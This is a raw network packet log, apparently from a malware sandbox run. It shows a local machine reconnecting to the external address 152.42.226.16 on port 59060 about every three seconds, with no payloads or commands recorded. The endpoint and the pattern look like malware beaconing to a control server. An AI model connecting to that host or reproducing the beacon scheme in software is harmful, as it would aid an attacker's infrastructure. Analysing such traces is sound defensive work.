Dec 26, 2024 19:28:04.324865103 CET	59060	49732	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:04.324954987 CET	49732	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:04.326299906 CET	49732	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:04.445831060 CET	59060	49732	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:07.008816957 CET	59060	49732	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:07.008994102 CET	49732	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:07.008994102 CET	49732	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:07.125379086 CET	49733	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:07.129863977 CET	59060	49732	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:07.245503902 CET	59060	49733	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:07.245574951 CET	49733	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:07.245825052 CET	49733	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:07.365350008 CET	59060	49733	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:09.938190937 CET	59060	49733	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:09.938290119 CET	49733	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:09.938359022 CET	49733	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:10.051434040 CET	49734	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:10.057986975 CET	59060	49733	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:10.171535015 CET	59060	49734	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:10.171627045 CET	49734	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:10.171814919 CET	49734	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:10.292514086 CET	59060	49734	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:13.024419069 CET	59060	49734	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:13.024487019 CET	49734	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:13.024561882 CET	49734	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:13.128958941 CET	49735	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:13.144754887 CET	59060	49734	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:13.248680115 CET	59060	49735	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:13.248749018 CET	49735	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:13.248894930 CET	49735	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:13.368614912 CET	59060	49735	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:15.921891928 CET	59060	49735	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:15.921977043 CET	49735	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:15.922068119 CET	49735	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:16.036178112 CET	49737	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:16.042495966 CET	59060	49735	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:16.155747890 CET	59060	49737	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:16.155836105 CET	49737	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:16.155977964 CET	49737	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:16.275733948 CET	59060	49737	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:18.852616072 CET	59060	49737	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:18.852713108 CET	49737	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:18.878941059 CET	49737	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:18.990123987 CET	49741	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:18.998482943 CET	59060	49737	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:19.110018969 CET	59060	49741	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:19.110097885 CET	49741	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:19.110304117 CET	49741	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:19.229834080 CET	59060	49741	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:21.863044977 CET	59060	49741	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:21.863364935 CET	49741	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:21.863465071 CET	49741	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:21.972388983 CET	49743	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:21.982944965 CET	59060	49741	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:22.092065096 CET	59060	49743	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:22.092134953 CET	49743	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:22.092303991 CET	49743	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:22.211987019 CET	59060	49743	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:24.767355919 CET	59060	49743	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:24.767420053 CET	49743	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:24.767528057 CET	49743	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:24.880848885 CET	49745	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:24.887006998 CET	59060	49743	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:25.001029968 CET	59060	49745	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:25.001147032 CET	49745	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:25.001307964 CET	49745	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:25.120786905 CET	59060	49745	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:27.658510923 CET	59060	49745	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:27.658628941 CET	49745	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:27.658691883 CET	49745	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:27.769164085 CET	49746	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:27.778188944 CET	59060	49745	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:27.888797998 CET	59060	49746	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:27.888875961 CET	49746	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:27.889086008 CET	49746	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:28.009470940 CET	59060	49746	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:30.587101936 CET	59060	49746	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:30.587201118 CET	49746	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:30.587260008 CET	49746	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:30.690825939 CET	49747	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:30.706803083 CET	59060	49746	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:30.810405970 CET	59060	49747	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:30.810489893 CET	49747	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:30.810631990 CET	49747	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:30.931967974 CET	59060	49747	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:33.469933987 CET	59060	49747	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:33.469999075 CET	49747	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:33.470076084 CET	49747	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:33.591033936 CET	59060	49747	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:33.607059002 CET	49748	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:33.726680994 CET	59060	49748	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:33.726816893 CET	49748	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:33.727039099 CET	49748	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:33.846566916 CET	59060	49748	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:36.380842924 CET	59060	49748	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:36.381094933 CET	49748	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:36.381165981 CET	49748	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:36.489202976 CET	49749	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:36.500874043 CET	59060	49748	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:36.608969927 CET	59060	49749	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:36.609054089 CET	49749	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:36.613922119 CET	49749	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:36.733736992 CET	59060	49749	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:39.298552036 CET	59060	49749	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:39.298765898 CET	49749	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:39.298765898 CET	49749	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:39.409729004 CET	49750	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:39.419059992 CET	59060	49749	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:39.532253981 CET	59060	49750	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:39.532438040 CET	49750	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:39.532476902 CET	49750	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:39.652034044 CET	59060	49750	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:42.220810890 CET	59060	49750	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:42.220885992 CET	49750	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:42.220958948 CET	49750	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:42.333338976 CET	49751	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:42.340542078 CET	59060	49750	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:42.453094959 CET	59060	49751	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:42.453190088 CET	49751	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:42.453362942 CET	49751	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:42.573633909 CET	59060	49751	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:45.126789093 CET	59060	49751	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:45.126842022 CET	49751	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:45.126919031 CET	49751	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:45.246484995 CET	59060	49751	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:45.311599970 CET	49752	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:45.431130886 CET	59060	49752	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:45.431241035 CET	49752	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:45.440135956 CET	49752	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:45.561371088 CET	59060	49752	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:48.127335072 CET	59060	49752	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:48.127398014 CET	49752	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:48.158183098 CET	49752	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:48.273011923 CET	49753	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:48.277904987 CET	59060	49752	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:48.396697998 CET	59060	49753	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:48.396774054 CET	49753	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:48.397075891 CET	49753	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:48.518801928 CET	59060	49753	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:51.077346087 CET	59060	49753	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:51.077523947 CET	49753	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:51.077616930 CET	49753	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:51.195455074 CET	49754	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:51.197217941 CET	59060	49753	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:51.315269947 CET	59060	49754	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:51.315527916 CET	49754	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:51.315757036 CET	49754	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:51.435231924 CET	59060	49754	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:53.995269060 CET	59060	49754	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:53.995484114 CET	49754	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:53.995588064 CET	49754	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:54.097229004 CET	49755	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:54.115704060 CET	59060	49754	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:54.217515945 CET	59060	49755	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:54.217698097 CET	49755	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:54.218161106 CET	49755	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:54.337990999 CET	59060	49755	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:56.948162079 CET	59060	49755	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:56.948292017 CET	49755	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:56.979860067 CET	49755	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:57.084100962 CET	49758	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:57.099351883 CET	59060	49755	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:57.203691959 CET	59060	49758	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:57.203768015 CET	49758	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:57.203973055 CET	49758	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:57.323568106 CET	59060	49758	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:59.893759012 CET	59060	49758	152.42.226.16	192.168.2.4
Dec 26, 2024 19:28:59.893821001 CET	49758	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:28:59.893956900 CET	49758	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:00.004810095 CET	49764	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:00.018047094 CET	59060	49758	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:00.131144047 CET	59060	49764	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:00.131216049 CET	49764	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:00.131360054 CET	49764	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:00.250821114 CET	59060	49764	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:02.784812927 CET	59060	49764	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:02.785027981 CET	49764	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:02.785027981 CET	49764	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:02.894084930 CET	49770	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:02.906250954 CET	59060	49764	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:03.033308983 CET	59060	49770	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:03.033422947 CET	49770	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:03.033688068 CET	49770	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:03.214739084 CET	59060	49770	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:05.752500057 CET	59060	49770	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:05.752619028 CET	49770	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:05.752715111 CET	49770	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:05.864645958 CET	49776	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:05.872536898 CET	59060	49770	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:05.984224081 CET	59060	49776	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:05.984334946 CET	49776	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:05.984513998 CET	49776	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:06.106645107 CET	59060	49776	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:08.643415928 CET	59060	49776	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:08.643491983 CET	49776	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:08.646202087 CET	49776	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:08.755592108 CET	49782	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:08.769798994 CET	59060	49776	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:08.875336885 CET	59060	49782	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:08.875538111 CET	49782	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:08.875693083 CET	49782	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:08.995280981 CET	59060	49782	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:11.533996105 CET	59060	49782	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:11.534105062 CET	49782	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:11.535875082 CET	49782	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:11.646469116 CET	49788	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:11.657885075 CET	59060	49782	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:11.766161919 CET	59060	49788	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:11.766273975 CET	49788	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:11.766458035 CET	49788	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:11.886267900 CET	59060	49788	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:14.424277067 CET	59060	49788	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:14.424352884 CET	49788	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:14.424458027 CET	49788	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:14.534986019 CET	49794	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:14.544081926 CET	59060	49788	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:14.654622078 CET	59060	49794	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:14.654738903 CET	49794	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:14.654863119 CET	49794	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:14.774420977 CET	59060	49794	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:17.315108061 CET	59060	49794	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:17.315336943 CET	49794	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:17.315431118 CET	49794	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:17.427928925 CET	49805	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:17.435002089 CET	59060	49794	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:17.547877073 CET	59060	49805	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:17.547954082 CET	49805	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:17.548139095 CET	49805	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:17.667715073 CET	59060	49805	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:20.206419945 CET	59060	49805	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:20.206541061 CET	49805	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:20.206563950 CET	49805	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:20.325421095 CET	49811	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:20.326260090 CET	59060	49805	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:20.445081949 CET	59060	49811	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:20.445197105 CET	49811	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:20.445466042 CET	49811	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:20.571774960 CET	59060	49811	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:23.112092972 CET	59060	49811	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:23.112154007 CET	49811	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:23.112220049 CET	49811	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:23.225373030 CET	49817	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:23.231843948 CET	59060	49811	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:23.509383917 CET	59060	49817	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:23.509493113 CET	49817	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:23.509773970 CET	49817	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:23.629334927 CET	59060	49817	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:26.230084896 CET	59060	49817	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:26.230192900 CET	49817	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:26.230300903 CET	49817	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:26.333434105 CET	49823	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:26.349837065 CET	59060	49817	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:26.454288006 CET	59060	49823	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:26.454466105 CET	49823	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:26.454684973 CET	49823	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:26.574361086 CET	59060	49823	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:29.189400911 CET	59060	49823	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:29.189460039 CET	49823	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:29.189522982 CET	49823	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:29.302544117 CET	49829	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:29.309094906 CET	59060	49823	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:29.422203064 CET	59060	49829	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:29.422276020 CET	49829	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:29.422482967 CET	49829	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:29.545082092 CET	59060	49829	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:32.103863001 CET	59060	49829	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:32.105460882 CET	49829	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:32.105462074 CET	49829	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:32.209331036 CET	49839	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:32.225203037 CET	59060	49829	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:32.328928947 CET	59060	49839	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:32.329576015 CET	49839	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:32.329576015 CET	49839	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:32.450042009 CET	59060	49839	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:35.046013117 CET	59060	49839	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:35.046125889 CET	49839	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:35.046247959 CET	49839	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:35.162214994 CET	49846	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:35.165822983 CET	59060	49839	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:35.281780958 CET	59060	49846	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:35.281923056 CET	49846	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:35.282052994 CET	49846	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:35.401596069 CET	59060	49846	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:37.940637112 CET	59060	49846	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:37.940700054 CET	49846	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:37.940817118 CET	49846	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:38.053219080 CET	49852	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:38.062377930 CET	59060	49846	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:38.172900915 CET	59060	49852	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:38.173069000 CET	49852	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:38.175260067 CET	49852	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:38.295310974 CET	59060	49852	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:40.831753969 CET	59060	49852	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:40.833436966 CET	49852	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:40.833533049 CET	49852	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:40.949373960 CET	49858	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:40.953280926 CET	59060	49852	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:41.070861101 CET	59060	49858	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:41.073452950 CET	49858	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:41.077363968 CET	49858	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:41.197103977 CET	59060	49858	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:43.731386900 CET	59060	49858	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:43.731451035 CET	49858	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:43.731550932 CET	49858	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:43.850842953 CET	49869	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:43.854172945 CET	59060	49858	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:43.975255013 CET	59060	49869	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:43.975339890 CET	49869	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:43.975519896 CET	49869	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:44.095278025 CET	59060	49869	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:46.671401978 CET	59060	49869	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:46.671468973 CET	49869	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:46.671612978 CET	49869	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:46.789351940 CET	49875	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:46.791106939 CET	59060	49869	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:46.910106897 CET	59060	49875	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:46.910197973 CET	49875	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:46.910454988 CET	49875	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:47.030015945 CET	59060	49875	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:49.565959930 CET	59060	49875	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:49.566009998 CET	49875	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:49.566128016 CET	49875	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:49.678575993 CET	49881	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:49.689160109 CET	59060	49875	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:49.798221111 CET	59060	49881	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:49.798290968 CET	49881	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:49.798528910 CET	49881	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:49.923557043 CET	59060	49881	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:52.473210096 CET	59060	49881	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:52.473411083 CET	49881	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:52.473582029 CET	49881	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:52.585360050 CET	49887	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:52.593095064 CET	59060	49881	152.42.226.16	192.168.2.4
